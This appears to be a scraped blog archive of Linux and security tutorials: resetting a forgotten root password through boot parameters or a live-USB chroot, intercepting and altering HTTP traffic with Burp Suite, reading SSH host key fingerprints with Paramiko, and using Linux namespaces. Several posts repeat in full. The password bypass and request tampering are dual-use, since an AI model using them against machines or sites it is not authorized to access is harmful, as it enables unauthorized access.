Now, in some cases, GRUB is configured to prevent modifying the kernel command line, or another boot loader may be in use that prevents such an option. In this case, we’ll need a slightly different method, and some external support. We’ll need to either boot off a Linux CD or USB stick. Once booted, we’ll need to gain access to the hard disk partition containing the Linux installation whose root password we want to reset.

Issue fdisk -l to show disks and partitions found on the system:

root@kali:~# fdisk -l

Disk /dev/sdb: 32.2 GB, 32212254720 bytes
255 heads, 63 sectors/track, 3916 cylinders, total 62914560 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00057814

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1   *        2048    60229631    30113792   83  Linux
/dev/sdb2        60231678    62912511     1340417    5  Extended
/dev/sdb5        60231680    62912511     1340416   82  Linux swap / Solaris

Disk /dev/sda: 32.2 GB, 32212254720 bytes
255 heads, 63 sectors/track, 3916 cylinders, total 62914560 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000dcc91

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    60262399    30130176   83  Linux
/dev/sda2        60264446    62912511     1324033    5  Extended
/dev/sda5        60264448    62912511     1324032   82  Linux swap / Solaris
root@kali:~# 

In this case, we can see that /dev/sdb1 is our internal hard disk’s Linux partition.

Let’s make a temporary directory and mount /dev/sdb1 in to it:

root@kali:~# mkdir /mnt/harddisk
root@kali:~# mount /dev/sdb1 /mnt/harddisk
root@kali:~# ls /mnt/harddisk/
bin    dev   initrd.img  media  opt      root     share  tmp  vmlinuz
boot   etc   lib         mnt    pentest  sbin     srv    usr
cdrom  home  lost+found  nis    proc     selinux  sys    var

Excellent, issuing an ls confirms that this is indeed a Linux root partition. Now we’ll need to pivot in to it with chroot before changing the password:

root@kali:~# chroot /mnt/harddisk/
root@kali:/# passwd
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
root@kali:/# exit
exit
root@kali:~# 

And lastly, unmount, remove the temporary directory, and reboot:

# umount /mnt/harddisk
# rm -rf /mnt/harddisk
# reboot

Reset Linux Root Password

Par Adam Palmer

There are a couple of reasons why you might want to reset a Linux root password. If the current password is known to you, just log in as root and issue the passwd command. What if you’ve forgotten the password and can’t log in? Resetting a Linux root password is simple if you have access to the machine. There are 2 main methods.

Method #1

First, we boot the machine up. If LILO is in use, enter linux init=/bin/bash at the ‘LILO:’ prompt. If GRUB is in use, then press key ‘e’. We’ll need to edit the kernel line, beginning ‘linux’, and append init=/bin/sh:

Boot Step #3 Boot Step #1 Boot Step #2

 

The machine will boot straight into a shell prompt – no login required:

Boot Final

Now, bear in mind that the GRUB layout, kernel options and text may look significantly different on your particular Linux install. If I issue the mount command, I can see that my root filesystem has been mounted as read only:

# mount
[...]
/dev/disk/by-uuid/45bba583-3259-4626-ba7e-62873eee3295 on / type ext4 (ro,relatime,data=ordered)
# 

The key above, being the mount point ‘/’ and the ‘ro’ keyword. In order to modify the password file, we’ll need to remount the filesystem for read and write access:

# mount / -oremount,rw

Before issuing the passwd command to set a new password:

# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
#

Now to remount the filesystem readonly again:

# mount / -oremount,ro

Finally – we’ll need to reboot, however as we are outside of the standard system, issuing reboot will fail. Instead, issue Ctrl-Alt-Del. There’s nothing wrong with this, as the filesystem has already been remounted read only – no data will be lost.

Method #2
Now, in some cases, GRUB is configured to prevent modifying the kernel command line, or another boot loader may be in use that prevents such an option. In this case, we’ll need a slightly different method, and some external support. We’ll need to either boot off a Linux CD or USB stick. Once booted, we’ll need to gain access to the hard disk partition containing the Linux installation whose root password we want to reset.

Issue fdisk -l to show disks and partitions found on the system:

root@kali:~# fdisk -l

Disk /dev/sdb: 32.2 GB, 32212254720 bytes
255 heads, 63 sectors/track, 3916 cylinders, total 62914560 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00057814

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1   *        2048    60229631    30113792   83  Linux
/dev/sdb2        60231678    62912511     1340417    5  Extended
/dev/sdb5        60231680    62912511     1340416   82  Linux swap / Solaris

Disk /dev/sda: 32.2 GB, 32212254720 bytes
255 heads, 63 sectors/track, 3916 cylinders, total 62914560 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000dcc91

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    60262399    30130176   83  Linux
/dev/sda2        60264446    62912511     1324033    5  Extended
/dev/sda5        60264448    62912511     1324032   82  Linux swap / Solaris
root@kali:~# 

In this case, we can see that /dev/sdb1 is our internal hard disk’s Linux partition.

Let’s make a temporary directory and mount /dev/sdb1 in to it:

root@kali:~# mkdir /mnt/harddisk
root@kali:~# mount /dev/sdb1 /mnt/harddisk
root@kali:~# ls /mnt/harddisk/
bin    dev   initrd.img  media  opt      root     share  tmp  vmlinuz
boot   etc   lib         mnt    pentest  sbin     srv    usr
cdrom  home  lost+found  nis    proc     selinux  sys    var

Excellent, issuing an ls confirms that this is indeed a Linux root partition. Now we’ll need to pivot in to it with chroot before changing the password:

root@kali:~# chroot /mnt/harddisk/
root@kali:/# passwd
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
root@kali:/# exit
exit
root@kali:~# 

And lastly, unmount, remove the temporary directory, and reboot:

# umount /mnt/harddisk
# rm -rf /mnt/harddisk
# reboot

Burp Suite: Intercepting & Modifying HTTP Requests & Responses

Par Adam Palmer

Burp Suite is a powerful web application auditor with a huge range of features, from simple to advanced. One of its core features is an intercepting proxy server. This allows us to pass our web traffic through burp suite, allowing us to view and modify both our browsers request before it goes to the remote web server, and the web server’s response before it returns to our browser.

A couple common request modifications:

  • Add data to form submissions, modify hidden fields.
  • View and modify browser AJAX data
  • View and edit headers including cookies

And a couple of common response modifications:

  • Remove client side JavaScript (usually validations or other limitations)
  • Add or remove cookies sent to the browser

First, fire up Burp Suite, and browse to Proxy –> Options:

Burp Suite Proxy

Notice that the proxy server is active on 127.0.0.1 port 8080. Now we’ll need to set the browser to use that proxy. In Iceweasel this is found in Edit –> Preferences –> Network –> Settings:

Iceweasel Proxy

After setting the proxy, attempt to make a request, and Burp will provide an alert that it caught an outbound request:

Burp Caught Request

Functionality of ‘forward’ and ‘drop’ is self explanatory. Clicking ‘Intercept is on’ will both pass the request, and automatically pass future requests, whilst the ‘Action’ brings up a host of other useful options (one of which is allowing the response to be intercepted).

Now let’s move to a functional example:

Modify Request

I make a request to whatismyuseragent.com – notice that I’ve changed the User-Agent Header. I’ll also select that the response should be intercepted:

Intercept Response

Pressing ‘Forward’ then passes my modified request to the webserver. After a short pause, Burp pops up again with the response:

Modify Response

Let’s modify the IP address in the web page being returned to the browser, before again hitting ‘Forward’, this time passing the modified response to the browser:

Browser Display

We’ve successfully provided a modified User-Agent header to the server, and then modified the content further within the response. As we saw, the full request and response can be modified – both headers and data.

 

Burp Suite: Intercepting & Modifying HTTP Requests & Responses

Par Adam Palmer

Burp Suite is a powerful web application auditor with a huge range of features, from simple to advanced. One of its core features is an intercepting proxy server. This allows us to pass our web traffic through burp suite, allowing us to view and modify both our browsers request before it goes to the remote web server, and the web server’s response before it returns to our browser.

A couple common request modifications:

  • Add data to form submissions, modify hidden fields.
  • View and modify browser AJAX data
  • View and edit headers including cookies

And a couple of common response modifications:

  • Remove client side JavaScript (usually validations or other limitations)
  • Add or remove cookies sent to the browser

First, fire up Burp Suite, and browse to Proxy –> Options:

Burp Suite Proxy

Notice that the proxy server is active on 127.0.0.1 port 8080. Now we’ll need to set the browser to use that proxy. In Iceweasel this is found in Edit –> Preferences –> Network –> Settings:

Iceweasel Proxy

After setting the proxy, attempt to make a request, and Burp will provide an alert that it caught an outbound request:

Burp Caught Request

Functionality of ‘forward’ and ‘drop’ is self explanatory. Clicking ‘Intercept is on’ will both pass the request, and automatically pass future requests, whilst the ‘Action’ brings up a host of other useful options (one of which is allowing the response to be intercepted).

Now let’s move to a functional example:

Modify Request

I make a request to whatismyuseragent.com – notice that I’ve changed the User-Agent Header. I’ll also select that the response should be intercepted:

Intercept Response

Pressing ‘Forward’ then passes my modified request to the webserver. After a short pause, Burp pops up again with the response:

Modify Response

Let’s modify the IP address in the web page being returned to the browser, before again hitting ‘Forward’, this time passing the modified response to the browser:

Browser Display

We’ve successfully provided a modified User-Agent header to the server, and then modified the content further within the response. As we saw, the full request and response can be modified – both headers and data.

 

SSH Fingerprint and Hostkey with Paramiko in Python

Par Adam Palmer

Following on from SSH and SFTP with Paramiko & Python, I recently had the need to gain a remote SSH server’s fingerprint and hostkey for verification purposes. This is achievable through setting up a socket, and then applying paramiko.Transport over our established socket. First, we include the various bits and pieces we’ll need:

import socket
import paramiko
import hashlib
import base64

Next, we establish a socket connection ‘mySocket’ to “localhost” on port 22 – our dummy SSH server. We then use paramiko.Transport to gain access to paramiko’s core SSH protocol options on the socket.

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mySocket.connect(("localhost", 22))
myTransport = paramiko.Transport(mySocket)
myTransport.start_client()

To get the remote hostkey, we call myTransport.get_remote_server_key():

sshKey = myTransport.get_remote_server_key()

At this point sshKey.__str__() contains the binary representation of the hostkey. Calling print sshKey.__str__() will output said binary data to our terminal.

We can then immediately close both the paramiko transport and the socket, as sshKey contains the information we need.

myTransport.close()
mySocket.close()

For a printable (base64 encoded) representation:

printableKey = '%s %s' %(sshKey.get_name(), base64.encodestring(sshKey.__str__()).replace('\n', ''))
print printableKey

In my case, this returns:

>>> print printableKey
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JCrB2J5YWa3m6buNqQ5/Scd/X9xs0gvDVZhokPZtFdtMgYnZhpAge3WZyFZxnt8ToE8K8d+haEQW5PaZykqD61Ur7gzW3KSZkA9L1q3IqIFLkUcI/Db82j5+rZ0w8W8oARfoOb4aR9Q+N4FbnMxO4FUzlCD1LpDA2XMnoOyDrr7WzYoopJencPuCCLm56+40QuHRoEI3gkUg34Utq8pV9vOqEBNMK21LEeG82CIIPB1nASNsaTfbAj1K9RBKrlobLiLFVPagxJY+Vd5lUPY/0RGgRBRofy7hRA4JUTPTqhkTg582Kw1GRNRDCf2AMIuPZLe3qqPWmJZ8fV897U2QQ==

To gain the host fingerprint, which is an MD5 hash of the key:

sshFingerprint = hashlib.md5(sshKey.__str__()).hexdigest()

This returns a 32 byte MD5 representation:

>>> print sshFingerprint
5203d8c22dec1016514334668f4d42f9

Lastly, to convert that to the colon separated fingerprint that we’re familiar with:

printableFingerprint = ':'.join(a+b for a,b in zip(sshFingerprint[::2], sshFingerprint[1::2]))
>>> print printableFingerprint
52:03:d8:c2:2d:ec:10:16:51:43:34:66:8f:4d:42:f9

To put it all together:

import socket
import paramiko
import hashlib
import base64
import sys

if len(sys.argv) != 3:
	print "Usage: %s <ip> <port>" % sys.argv[0]
	quit()

try:
	mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	mySocket.connect((sys.argv[1], int(sys.argv[2])))
except socket.error:
	print "Error opening socket"
	quit()

try:
	myTransport = paramiko.Transport(mySocket)
	myTransport.start_client()
	sshKey = myTransport.get_remote_server_key()
except paramiko.SSHException:
	print "SSH error"
	quit()

myTransport.close()
mySocket.close()


printableType = sshKey.get_name()
printableKey = base64.encodestring(sshKey.__str__()).replace('\n', '')
sshFingerprint = hashlib.md5(sshKey.__str__()).hexdigest()
printableFingerprint = ':'.join(a+b for a,b in zip(sshFingerprint[::2], sshFingerprint[1::2]))
print "HostKey Type: %s, Key: %s (Fingerprint: %s)" %(printableType, printableKey, printableFingerprint)

Which is run as follows:

root@w:~/tmp# ./pyHostKey.py localhost 22
HostKey Type: ssh-rsa, Key: AAAAB3NzaC1yc2EAAAABIwAAAQEA0JCrB2J5YWa3m6buNqQ5/Scd/X9xs0gvDVZhokPZtFdtMgYnZhpAge3WZyFZxnt8ToE8K8d+haEQW5PaZykqD61Ur7gzW3KSZkA9L1q3IqIFLkUcI/Db82j5+rZ0w8W8oARfoOb4aR9Q+N4FbnMxO4FUzlCD1LpDA2XMnoOyDrr7WzYoopJencPuCCLm56+40QuHRoEI3gkUg34Utq8pV9vOqEBNMK21LEeG82CIIPB1nASNsaTfbAj1K9RBKrlobLiLFVPagxJY+Vd5lUPY/0RGgRBRofy7hRA4JUTPTqhkTg582Kw1GRNRDCf2AMIuPZLe3qqPWmJZ8fV897U2QQ== (Fingerprint: 52:03:d8:c2:2d:ec:10:16:51:43:34:66:8f:4d:42:f9)

SSH Fingerprint and Hostkey with Paramiko in Python

Par Adam Palmer

Following on from SSH and SFTP with Paramiko & Python, I recently had the need to gain a remote SSH server’s fingerprint and hostkey for verification purposes. This is achievable through setting up a socket, and then applying paramiko.Transport over our established socket. First, we include the various bits and pieces we’ll need:

import socket
import paramiko
import hashlib
import base64

Next, we establish a socket connection ‘mySocket’ to “localhost” on port 22 – our dummy SSH server. We then use paramiko.Transport to gain access to paramiko’s core SSH protocol options on the socket.

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mySocket.connect(("localhost", 22))
myTransport = paramiko.Transport(mySocket)
myTransport.start_client()

To get the remote hostkey, we call myTransport.get_remote_server_key():

sshKey = myTransport.get_remote_server_key()

At this point sshKey.__str__() contains the binary representation of the hostkey. Calling print sshKey.__str__() will output said binary data to our terminal.

We can then immediately close both the paramiko transport and the socket, as sshKey contains the information we need.

myTransport.close()
mySocket.close()

For a printable (base64 encoded) representation:

printableKey = '%s %s' %(sshKey.get_name(), base64.encodestring(sshKey.__str__()).replace('\n', ''))
print printableKey

In my case, this returns:

>>> print printableKey
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JCrB2J5YWa3m6buNqQ5/Scd/X9xs0gvDVZhokPZtFdtMgYnZhpAge3WZyFZxnt8ToE8K8d+haEQW5PaZykqD61Ur7gzW3KSZkA9L1q3IqIFLkUcI/Db82j5+rZ0w8W8oARfoOb4aR9Q+N4FbnMxO4FUzlCD1LpDA2XMnoOyDrr7WzYoopJencPuCCLm56+40QuHRoEI3gkUg34Utq8pV9vOqEBNMK21LEeG82CIIPB1nASNsaTfbAj1K9RBKrlobLiLFVPagxJY+Vd5lUPY/0RGgRBRofy7hRA4JUTPTqhkTg582Kw1GRNRDCf2AMIuPZLe3qqPWmJZ8fV897U2QQ==

To gain the host fingerprint, which is an MD5 hash of the key:

sshFingerprint = hashlib.md5(sshKey.__str__()).hexdigest()

This returns a 32 byte MD5 representation:

>>> print sshFingerprint
5203d8c22dec1016514334668f4d42f9

Lastly, to convert that to the colon separated fingerprint that we’re familiar with:

printableFingerprint = ':'.join(a+b for a,b in zip(sshFingerprint[::2], sshFingerprint[1::2]))
>>> print printableFingerprint
52:03:d8:c2:2d:ec:10:16:51:43:34:66:8f:4d:42:f9

To put it all together:

import socket
import paramiko
import hashlib
import base64
import sys

if len(sys.argv) != 3:
	print "Usage: %s <ip> <port>" % sys.argv[0]
	quit()

try:
	mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	mySocket.connect((sys.argv[1], int(sys.argv[2])))
except socket.error:
	print "Error opening socket"
	quit()

try:
	myTransport = paramiko.Transport(mySocket)
	myTransport.start_client()
	sshKey = myTransport.get_remote_server_key()
except paramiko.SSHException:
	print "SSH error"
	quit()

myTransport.close()
mySocket.close()


printableType = sshKey.get_name()
printableKey = base64.encodestring(sshKey.__str__()).replace('\n', '')
sshFingerprint = hashlib.md5(sshKey.__str__()).hexdigest()
printableFingerprint = ':'.join(a+b for a,b in zip(sshFingerprint[::2], sshFingerprint[1::2]))
print "HostKey Type: %s, Key: %s (Fingerprint: %s)" %(printableType, printableKey, printableFingerprint)

Which is run as follows:

root@w:~/tmp# ./pyHostKey.py localhost 22
HostKey Type: ssh-rsa, Key: AAAAB3NzaC1yc2EAAAABIwAAAQEA0JCrB2J5YWa3m6buNqQ5/Scd/X9xs0gvDVZhokPZtFdtMgYnZhpAge3WZyFZxnt8ToE8K8d+haEQW5PaZykqD61Ur7gzW3KSZkA9L1q3IqIFLkUcI/Db82j5+rZ0w8W8oARfoOb4aR9Q+N4FbnMxO4FUzlCD1LpDA2XMnoOyDrr7WzYoopJencPuCCLm56+40QuHRoEI3gkUg34Utq8pV9vOqEBNMK21LEeG82CIIPB1nASNsaTfbAj1K9RBKrlobLiLFVPagxJY+Vd5lUPY/0RGgRBRofy7hRA4JUTPTqhkTg582Kw1GRNRDCf2AMIuPZLe3qqPWmJZ8fV897U2QQ== (Fingerprint: 52:03:d8:c2:2d:ec:10:16:51:43:34:66:8f:4d:42:f9)

Linux Namespaces

Par Adam Palmer

Starting from kernel 2.6.24, there are 6 different types of Linux namespaces. Namespaces are useful in isolating processes from the rest of the system, without needing to use full low level virtualization technology.

  • CLONE_NEWIPC: IPC Namespaces: SystemV IPC and POSIX Message Queues can be isolated.
  • CLONE_NEWPID: PID Namespaces: PIDs are isolated, meaning that a PID inside of the namespace can conflict with a PID outside of the namespace. PIDs inside the namespace will be mapped to other PIDs outside of the namespace. The first PID inside the namespace will be ‘1’ which outside of the namespace is assigned to init
  • CLONE_NEWNET: Network Namespaces: Networking (/proc/net, IPs, interfaces and routes) are isolated. Services can be run on the same ports within namespaces, and “duplicate” virtual interfaces can be created.
  • CLONE_NEWNS: Mount Namespaces. We have the ability to isolate mount points as they appear to processes. Using mount namespaces, we can achieve similar functionality to chroot() however with improved security.
  • CLONE_NEWUTS: UTS Namespaces. This namespaces primary purpose is to isolate the hostname and NIS name.
  • CLONE_NEWUSER: User Namespaces. Here, user and group IDs are different inside and outside of namespaces and can be duplicated.

Let’s look first at the structure of a C program, required to demonstrate process namespaces. The following has been tested on Debian 6 and 7.

First, we need to allocate a page of memory on the stack, and set a pointer to the end of that memory page. We use alloca to allocate stack memory rather than malloc which would allocate memory on the heap.

void *mem = alloca(sysconf(_SC_PAGESIZE)) + sysconf(_SC_PAGESIZE);

Next, we use clone to create a child process, passing the location of our child stack ‘mem’, as well as the required flags to specify a new namespace. We specify ‘callee’ as the function to execute within the child space:

mypid = clone(callee, mem, SIGCHLD | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | CLONE_FILES, NULL);

After calling clone we then wait for the child process to finish, before terminating the parent. If not, the parent execution flow will continue and terminate immediately after, clearing up the child with it:

while (waitpid(mypid, &r, 0) < 0 && errno == EINTR)
{
	continue;
}

Lastly, we’ll return to the shell with the exit code of the child:

if (WIFEXITED(r))
{
	return WEXITSTATUS(r);
}
return EXIT_FAILURE;

Now, let’s look at the callee function:

static int callee()
{
	int ret;
	mount("proc", "/proc", "proc", 0, "");
	setgid(u);
	setgroups(0, NULL);
	setuid(u);
	ret = execl("/bin/bash", "/bin/bash", NULL);
	return ret;
}

Here, we mount a /proc filesystem, and then set the uid (User ID) and gid (Group ID) to the value of ‘u’ before spawning the /bin/bash shell.

Let’s put it all together, setting ‘u’ to 65534 which is user “nobody” and group “nogroup” on Debian:

#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <grp.h>
#include <alloca.h>
#include <errno.h>
#include <sched.h>

static int callee();
const int u = 65534;

int main(int argc, char *argv[])
{
	int r;
	pid_t mypid;
	void *mem = alloca(sysconf(_SC_PAGESIZE)) + sysconf(_SC_PAGESIZE);

	mypid = clone(callee, mem, SIGCHLD | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | CLONE_FILES, NULL);
	while (waitpid(mypid, &r, 0) < 0 && errno == EINTR)
	{
		continue;
	}
	if (WIFEXITED(r))
	{
		return WEXITSTATUS(r);
	}
	return EXIT_FAILURE;
}

static int callee()
{
	int ret;
	mount("proc", "/proc", "proc", 0, "");
	setgid(u);
	setgroups(0, NULL);
	setuid(u);
	ret = execl("/bin/bash", "/bin/bash", NULL);
	return ret;
}

To execute the code produces the following:

root@w:~/pen/tmp# gcc -O -o ns -Wall -Werror -ansi ns.c
root@w:~/pen/tmp# ./ns
nobody@w:~/pen/tmp$ id
uid=65534(nobody) gid=65534(nogroup)
nobody@w:~/pen/tmp$ ps auxw
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
nobody       1  0.0  0.0   4620  1816 pts/1    S    21:21   0:00 /bin/bash
nobody       5  0.0  0.0   2784  1064 pts/1    R+   21:21   0:00 ps auxw
nobody@w:~/pen/tmp$ 

Notice that the UID and GID are set to that of nobody and nogroup. Specifically notice that the full ps output shows only two running processes and that their PIDs are 1 and 5 respectively.

LXC is an OS level virtualization tool utilizing cgroups and namespaces for resource isolation.

Now, let’s move on to using ip netns to work with network namespaces. First, let’s confirm that no namespaces exist currently:

root@w:~# ip netns list
Object "netns" is unknown, try "ip help".

In this case, either ip needs an upgrade, or the kernel does. Assuming you have a kernel newer than 2.6.24, it’s most likely ip. After upgrading, ip netns list should by default return nothing.

Let’s add a new namespace called ‘ns1’:

root@w:~# ip netns add ns1
root@w:~# ip netns list
ns1

First, let’s list the current interfaces:

root@w:~# ip link list
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT qlen 1000
    link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff

Now to create a new virtual interface, and add it to our new namespace. Virtual interfaces are created in pairs, and are linked to each other – imagine a virtual crossover cable:

root@w:~# ip link add veth0 type veth peer name veth1
root@w:~# ip link list
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT qlen 1000
    link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff
3: veth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 1000
    link/ether d2:e9:52:18:19:ab brd ff:ff:ff:ff:ff:ff
4: veth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 1000
    link/ether f2:f7:5e:e2:22:ac brd ff:ff:ff:ff:ff:ff

ifconfig -a will also now show the addition of both veth0 and veth1.

Great, now to assign our new interfaces to the namespace. Note that ip netns exec is used to execute commands within the namespace:

root@w:~# ip link set veth1 netns ns1
root@w:~# ip netns exec ns1 ip link list
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN mode DEFAULT 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
3: veth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 1000
    link/ether d2:e9:52:18:19:ab brd ff:ff:ff:ff:ff:ff

ifconfig -a will now only show veth0, as veth1 is in the ns1 namespace.

Should we want to delete veth0/veth1:

ip netns exec ns1 ip link del veth1

We can now assign IP address 192.168.5.5/24 to veth0 on our host:

ifconfig veth0 192.168.5.5/24

And assign veth1 192.168.5.10/24 within ns1:

ip netns exec ns1 ifconfig veth1 192.168.5.10/24 up

To execute ip addr list on both our host and within our namespace:

root@w:~# ip addr list
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.122/24 brd 192.168.3.255 scope global eth0
    inet6 fe80::20c:29ff:fe65:259e/64 scope link 
       valid_lft forever preferred_lft forever
6: veth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 86:b2:c7:bd:c9:11 brd ff:ff:ff:ff:ff:ff
    inet 192.168.5.5/24 brd 192.168.5.255 scope global veth0
    inet6 fe80::84b2:c7ff:febd:c911/64 scope link 
       valid_lft forever preferred_lft forever
root@w:~# ip netns exec ns1 ip addr list
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5: veth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 12:bd:b6:76:a6:eb brd ff:ff:ff:ff:ff:ff
    inet 192.168.5.10/24 brd 192.168.5.255 scope global veth1
    inet6 fe80::10bd:b6ff:fe76:a6eb/64 scope link 
       valid_lft forever preferred_lft forever

To view routing tables inside and outside of the namespace:

root@w:~# ip route list
default via 192.168.3.1 dev eth0  proto static 
192.168.3.0/24 dev eth0  proto kernel  scope link  src 192.168.3.122 
192.168.5.0/24 dev veth0  proto kernel  scope link  src 192.168.5.5 
root@w:~# ip netns exec ns1 ip route list
192.168.5.0/24 dev veth1  proto kernel  scope link  src 192.168.5.10 

Lastly, to connect our physical and virtual interfaces, we’ll require a bridge. Let’s bridge eth0 and veth0 on the host, and then use DHCP to gain an IP within the ns1 namespace:

root@w:~# brctl addbr br0
root@w:~# brctl addif br0 eth0
root@w:~# brctl addif br0 veth0
root@w:~# ifconfig eth0 0.0.0.0
root@w:~# ifconfig veth0 0.0.0.0
root@w:~# dhclient br0
root@w:~# ip addr list br0
7: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
    link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.122/24 brd 192.168.3.255 scope global br0
    inet6 fe80::20c:29ff:fe65:259e/64 scope link 
       valid_lft forever preferred_lft forever

br0 has been assigned an IP of 192.168.3.122/24. Now for the namespace:

root@w:~# ip netns exec ns1 dhclient veth1
root@w:~# ip netns exec ns1 ip addr list
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5: veth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 12:bd:b6:76:a6:eb brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.248/24 brd 192.168.3.255 scope global veth1
    inet6 fe80::10bd:b6ff:fe76:a6eb/64 scope link 
       valid_lft forever preferred_lft forever

Excellent! veth1 has been assigned 192.168.3.248/24

Linux Namespaces

Par Adam Palmer

Starting from kernel 2.6.24, there are 6 different types of Linux namespaces. Namespaces are useful in isolating processes from the rest of the system, without needing to use full low level virtualization technology.

  • CLONE_NEWIPC: IPC Namespaces: SystemV IPC and POSIX Message Queues can be isolated.
  • CLONE_NEWPID: PID Namespaces: PIDs are isolated, meaning that a PID inside of the namespace can conflict with a PID outside of the namespace. PIDs inside the namespace will be mapped to other PIDs outside of the namespace. The first PID inside the namespace will be ‘1’ which outside of the namespace is assigned to init
  • CLONE_NEWNET: Network Namespaces: Networking (/proc/net, IPs, interfaces and routes) are isolated. Services can be run on the same ports within namespaces, and “duplicate” virtual interfaces can be created.
  • CLONE_NEWNS: Mount Namespaces. We have the ability to isolate mount points as they appear to processes. Using mount namespaces, we can achieve similar functionality to chroot() however with improved security.
  • CLONE_NEWUTS: UTS Namespaces. This namespaces primary purpose is to isolate the hostname and NIS name.
  • CLONE_NEWUSER: User Namespaces. Here, user and group IDs are different inside and outside of namespaces and can be duplicated.

Let’s look first at the structure of a C program, required to demonstrate process namespaces. The following has been tested on Debian 6 and 7.

First, we need to allocate a page of memory on the stack, and set a pointer to the end of that memory page. We use alloca to allocate stack memory rather than malloc which would allocate memory on the heap.

void *mem = alloca(sysconf(_SC_PAGESIZE)) + sysconf(_SC_PAGESIZE);

Next, we use clone to create a child process, passing the location of our child stack ‘mem’, as well as the required flags to specify a new namespace. We specify ‘callee’ as the function to execute within the child space:

mypid = clone(callee, mem, SIGCHLD | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | CLONE_FILES, NULL);

After calling clone we then wait for the child process to finish, before terminating the parent. If not, the parent execution flow will continue and terminate immediately after, clearing up the child with it:

while (waitpid(mypid, &r, 0) < 0 && errno == EINTR)
{
	continue;
}

Lastly, we’ll return to the shell with the exit code of the child:

if (WIFEXITED(r))
{
	return WEXITSTATUS(r);
}
return EXIT_FAILURE;

Now, let’s look at the callee function:

static int callee()
{
	int ret;
	mount("proc", "/proc", "proc", 0, "");
	setgid(u);
	setgroups(0, NULL);
	setuid(u);
	ret = execl("/bin/bash", "/bin/bash", NULL);
	return ret;
}

Here, we mount a /proc filesystem, and then set the uid (User ID) and gid (Group ID) to the value of ‘u’ before spawning the /bin/bash shell.

Let’s put it all together, setting ‘u’ to 65534 which is user “nobody” and group “nogroup” on Debian:

#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <grp.h>
#include <alloca.h>
#include <errno.h>
#include <sched.h>

static int callee();
const int u = 65534;

int main(int argc, char *argv[])
{
	int r;
	pid_t mypid;
